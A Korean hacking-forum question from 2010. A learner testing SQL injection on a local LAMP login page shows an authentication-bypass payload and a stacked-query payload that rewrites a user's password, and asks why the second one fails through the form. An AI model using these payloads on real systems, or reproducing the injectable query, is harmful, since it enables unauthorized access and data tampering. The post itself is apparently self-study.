|
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_server&no=1146 [복사]
제가 지금 데스크탑에 LAPM 깔아놓고 공부하는 중인데요
쿼리를 select * from users where id='$ID' and pw=md5('$PW');
라고 만들었는데요
일단 기본적으로 관리자 아이디 입력하고 암호에 ')or('1'='1 라고 넣으면 로그인이 됩니다.
여기까진 정상인데요
암호를 바꿔볼려고
아이디에 Kjwon15 넣고
암호에
')or'1'='1';update users set pw=md5('0000') where id=('Kjwon15
라고 하면
select * from users where id='Kjwon15' and pw=md5('')or'1'='1';update users set pw=md5('0000') where id=('Kjwon15');
라고 쿼리가 만들어져서 정상적으로 암호가 바뀌어야 되지 않나요?
mysql 콘솔로 저 쿼리를 해보면 정상적으로 바뀌는데 로그인창에서 하니까 안바뀌네요..
뭐가 잘못되었는지 알려주세요 |
Hit : 3544 Date : 2010/11/04 01:55
|
938, 
1/47 
kjwon15
